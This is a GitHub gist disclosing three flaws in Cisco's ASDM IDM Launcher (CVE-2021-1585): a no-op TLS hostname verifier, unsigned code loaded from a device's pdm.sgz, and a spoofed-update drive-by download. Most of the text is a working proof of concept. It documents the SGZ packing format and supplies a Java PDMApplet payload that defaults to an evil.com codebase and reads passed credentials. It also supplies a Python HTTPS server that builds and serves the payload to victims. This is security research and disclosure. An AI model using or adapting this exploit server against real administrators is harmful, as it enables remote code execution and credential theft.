Skip to content

Instantly share code, notes, and snippets.

@mlashley
Last active April 15, 2024 06:26
Show Gist options
  • Star 3 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save mlashley/7d2c16e91fe37c9ab3b2352615540025 to your computer and use it in GitHub Desktop.
Save mlashley/7d2c16e91fe37c9ab3b2352615540025 to your computer and use it in GitHub Desktop.

Cisco ASDM IDM Launcher Vulnerabilities CVE-2021-1585

Timeline

Vendor Advisory

https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asdm-rce-gqjShXW

Sources

To follow along, unpack the ASDM IDM Launcher 1.9 msi with 7zip/cabextract, decompile with jd-gui.

mkdir unpacked ; cd unpacked
7z x ../dm-launcher.msi
cabextract Data1.cab
java -jar jd-gui-1.6.6.jar asdm_launcher.jar
java -jar jd-gui-1.6.6.jar jploader.jar

Issue 1 - Insecure TLS / Failure to validate X.509 cert.

In the obfuscated com.cisco.launcher.w class, method a() does the evil:

      HttpsURLConnection.setDefaultSSLSocketFactory(sSLContext.getSocketFactory());
      n.a();
      HostnameVerifier hostnameVerifier = new HostnameVerifier() {
          public boolean verify(String param1String, SSLSession param1SSLSession) {
            return true;
          }
        };
      HttpsURLConnection.setDefaultHostnameVerifier(hostnameVerifier);

It appears to be a logical error as n.a() does appear to try and setup a somewhat sane verifier, before they override with the poor no-op verifier as default... this error permits MITM of devices which ordinarily present a valid/trusted certificate, in addition to allowing connection to any TLS-enabled, attacker-controlled host with impunity.

The vendor indicated this is by design, but accepts that it might not be the wisest choice in 2021...

it has been confirmed that this lack of validation has always been present on ASDM and it is an expected behaviour. ASDM does accept self-signed certificates from the ASA as a way to allow customers without CA signed certificates to manage their devices. If customers decide to add a CA signed certificate to either the ASA or to ASDM, it's is possible and supported. It is true that this design choice may be perceived as a flaw but this is something the product team has repeatedly discussed with the customer base. For the future, I've opened an enhancement request for ASDM in order to re-evaluate this choice, and to set the ASDM default behaviour to be a mandatory certificate validation, rather than the other way around

Issue 2 - RCE / Execution of Untrusted Code

After downloading the /admin/login_banner and /admin/version.prop from the target 'device' - the Launcher application attempts to retrieve /admin/pdm.sgz. This is an encapsulated form of Java-Class delivery with no code-signing at all. The content is trusted and executed in the context of the victim's Launcher process. All that is required to deliver arbitrary code to the victim is an understanding of the SGZ format, which is reasonably trivial, and to send a class PDMApplet that can be cast to SgzApplet. See PDMApplet.java and serve.py for sample, non-evil, PoC exploit. Further the user-entered credentials are passed verbatim to this code's start() method...

All the social engineering required is a simple 'Hey IT Dude, please help me configure this ASA at IP...'

Video PoC at https://youtu.be/fAQNMzCwvF8

Issue 3 - Drive by download

By spoofing launcher.version = 2.9 in the returned version.prop we can direct the launcher to open a web-browser to the following URL 'https://myasa/admin/dm-launcher.dmg' where myasa is the faked/MITM'd device. The browser will complain wildly about the cert in this case, but I'd hazard that enough would also click-thru. Especially since we can spoof login_banner to say something along the lines of 'Mandatory Security Update Available'...

SGZ Format

Header+Chunk+(Chunk+...)+EndChunk

Header

17 byte header - of which 16 byte fingerprint and 1 byte = version + 100. Fingerprint seems to be used for nothing more than local cache of downloads.

Chunk

Chunk header of 5 bytes

  • 4 byte int32 length (LSB first, length not including chunk header)
  • 1 byte compression indicator (ref: "SgzReader: chunk dataLen")
  • ChunkData

Compression Indicator 0 = raw, 2=cBzip2, 3=lzma, default=Gzip

EndChunk

End marker (which must be present as the outer container has no length) is chunk header with len<0 (e.g. len=0xFFFFFFFF comp=0x00) and no data.

ChunkData

Inside the chunk-data:

  • Seems like we have 2 byte len('jarname')
  • 'jarname' string
  • 4 byte 'jar' length
  • 'jar' data.
while (read(inputStream, arrayOfByte1, 0, 2) == 2) {
        int m = get2(arrayOfByte1, 0);
        while (arrayOfByte1.length < m)
          arrayOfByte1 = new byte[2 * arrayOfByte1.length];
        if (read(inputStream, arrayOfByte1, 0, m) != m)
          break;
        String str = new String(arrayOfByte1, 0, m);
        if (read(inputStream, arrayOfByte1, 0, 4) != 4)
          break;
        int n = (int)get4(arrayOfByte1, 0);
        StoredJarEntry storedJarEntry = new StoredJarEntry();
        if (n >= 0) {
          storedJarEntry._data = new byte[n];
          if (read(inputStream, storedJarEntry._data, 0, n) != n)
            break;
        }
        int i1 = (j - lengthLimitedInputStream1.available()) * 100 / j;
        storeEntry(str, storedJarEntry);
        Loader.updateStatus(4, i1);
      }

In fact - this is somewhat misleading, each 'JarEntry' is actually the individual class. so you need to send MyClass.class MyOtherClass.class in separate chunks.

A Python implementation of the Sgz stream packing code can be found in serve.py's buildSgz()

TODO There may also be a special env.properties entry in here which is parsed as a Java Properties object for $reasons-unknown

package com.cisco.pdm;
import java.awt.Dimension;
import java.awt.image.BufferedImage;
import javax.swing.JApplet;
import javax.swing.SwingUtilities;
import javax.swing.JFrame;
import javax.swing.JLabel;
import javax.swing.JOptionPane;
import javax.swing.ImageIcon;
import java.util.Hashtable;
import java.net.*;
import java.io.*;
import javax.imageio.ImageIO;
import com.cisco.nm.dice.loader.SgzApplet;
public class PDMApplet extends SgzApplet {
Hashtable _shutdownHooks = new Hashtable<Object, Object>();
String _sgzTarget;
boolean _shuttingDown;
//Called when this applet is loaded
public void init() {
try {
System.err.println("All your remote code execution are belong to us too!");
} catch (Exception e) {
System.err.println("init() didn't complete successfully");
}
}
public void start(String[] args) {
final String codebase;
String cb = "http://evil.com/";
for (String arg : args) {
if(arg.matches("^-codebase=.*")) {
cb = arg.split("=")[1];
// JOptionPane.showMessageDialog(null, "Codebase:" + cb,"Message", JOptionPane.ERROR_MESSAGE);
break;
}
}
codebase = cb;
try {
SwingUtilities.invokeAndWait(new Runnable() {
public void run() {
JFrame frame = new JFrame("Operator: Main screen turn on.");
try {
URL url = new URL(codebase + "images/base.png");
BufferedImage image = ImageIO.read(url);
frame.add(new JLabel(new ImageIcon(image)));
} catch (Exception e) {
e.printStackTrace();
}
frame.setPreferredSize(new Dimension(600, 300));
frame.pack();
frame.setVisible(true);
}
});
} catch (Exception e) {
System.err.println("start(1) didn't complete successfully");
}
for (String arg : args) {
if(arg.matches(".*password.*")) {
JOptionPane.showMessageDialog(null, "Dispatched your password to CIA:" + arg, "I <3 your mom.", JOptionPane.WARNING_MESSAGE);
}
}
try {
SwingUtilities.invokeAndWait(new Runnable() {
public void run() {
JFrame frame2 = new JFrame("Bwahahaha");
try {
URL url = new URL(codebase + "images/mashup.jpg");
BufferedImage image = ImageIO.read(url);
frame2.add(new JLabel(new ImageIcon(image)));
} catch (Exception e) {
e.printStackTrace();
}
frame2.setPreferredSize(new Dimension(800, 1050));
frame2.pack();
frame2.setVisible(true);
}
});
} catch (Exception e) {
System.err.println("start(2) didn't complete successfully");
}
}
}
from http.server import HTTPServer, BaseHTTPRequestHandler, SimpleHTTPRequestHandler
from pwn import *
from pprint import pprint
import logging
import ssl
# Should probably be a class of its own - this implements just enough to 'pack' an SGZApplet stream.
RAW=0
BZIP2=2
LZMA=3
GZIP=1
def buildSgz(magic1,magic2,version):
out=b''
out+= p64(magic1)+p64(magic2)+p8(version+100)
out+= buildChunk(proppack('env.properties',b'dynapplet=com.malc.fuckswithyou\n'),RAW)
out+= buildChunk(jarpack('malc_applet/com/cisco/pdm/PDMApplet.class','com/cisco/pdm/PDMApplet.class'),RAW)
out+= buildChunk(jarpack('malc_applet/com/cisco/pdm/PDMApplet$1.class','com/cisco/pdm/PDMApplet$1.class'),RAW)
out+= buildChunk(jarpack('malc_applet/com/cisco/pdm/PDMApplet$2.class','com/cisco/pdm/PDMApplet$2.class'),RAW)
out+= endChunk()
return out
def buildChunk(b, t):
return p32(len(b))+p8(t)+(b)
def endChunk():
return p32(0xFFFFFFFF)+p8(0)
def jarpack(filename,name): # 'name' is the entry in their jarloader table - they aren't jars at all but individual classes.
f=open(filename,"rb")
data=f.read()
f.close()
logging.info("Packing %s as %s", filename, name)
return proppack(name,data)
def proppack(name,data):
namelen = len(name)
datalen = len(data)
logging.info("Read dataFile %s lengths %s %s",name,namelen,datalen)
return p16(namelen)+bytes(name,'utf-8') + p32(datalen) + data
## End SGZApplet
def load_binary(file):
with open(file, 'rb') as file:
return file.read()
class myHandler(BaseHTTPRequestHandler):
def do_GET(self):
logging.info(self.requestline)
logging.info(self.headers)
if(self.path == '/admin/login_banner'):
self.send_response(200)
self.send_header('Content-type','text/plain')
self.end_headers()
#self.wfile.write(b"Somebody set up us the bomb...\nAll your base are belong to us!")
self.wfile.write(b"Evil Corp. - Authorized Access Only")
return
elif(self.path == '/admin/version.prop'):
self.send_response(200)
self.send_header('Content-type','text/plain')
self.end_headers()
# TODO - can force drive-by download by spoofing an updated version
self.wfile.write(b"version:69.69\nlauncher.version = 001.9\nlauncher.size = 6969\nasdm.version = 69.69")
return
elif(self.path == '/admin/pdm.sgz'):
self.send_response(200)
self.send_header('Content-type','application/octet-stream')
self.end_headers()
content = buildSgz(0x123456,0xDEADBEEF,1) # magic numbers here don't do anything except cache-control afaik.
logging.info(content)
self.wfile.write(content)
return
# This is for Exploit2 when we trigger an upgrade by spoofing launcher.version
elif(self.path == '/admin/dm-launcher.dmg'):
self.send_response(200)
self.send_header('Content-type','text/html')
self.end_headers()
self.wfile.write(b"<html><body>All your browser are belong to us (*insert malicicious download here)</body></html>")
return
# This is just for fun
elif("jpg" in self.path):
self.send_response(200)
self.send_header('Content-type','image/jpeg')
self.end_headers()
self.wfile.write(load_binary("./images/" + self.path.split("/")[-1])) # Abhorrent lack of sane input-sanitization ;-)
return
elif("png" in self.path):
self.send_response(200)
self.send_header('Content-type','image/png')
self.end_headers()
self.wfile.write(load_binary("./images/" + self.path.split("/")[-1])) # Abhorrent lack of sane input-sanitization ;-)
return
self.send_response(404)
self.send_header('Content-type','text/html')
self.end_headers()
return
logging.basicConfig(format='%(asctime)s %(levelname)s : %(message)s', level=logging.INFO)
httpd = HTTPServer(('0.0.0.0', 443), myHandler)
httpd.socket = ssl.wrap_socket (httpd.socket,
certfile='server.pem', server_side=True)
logging.info("Point your Launcher to https://<thishost>")
httpd.serve_forever()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment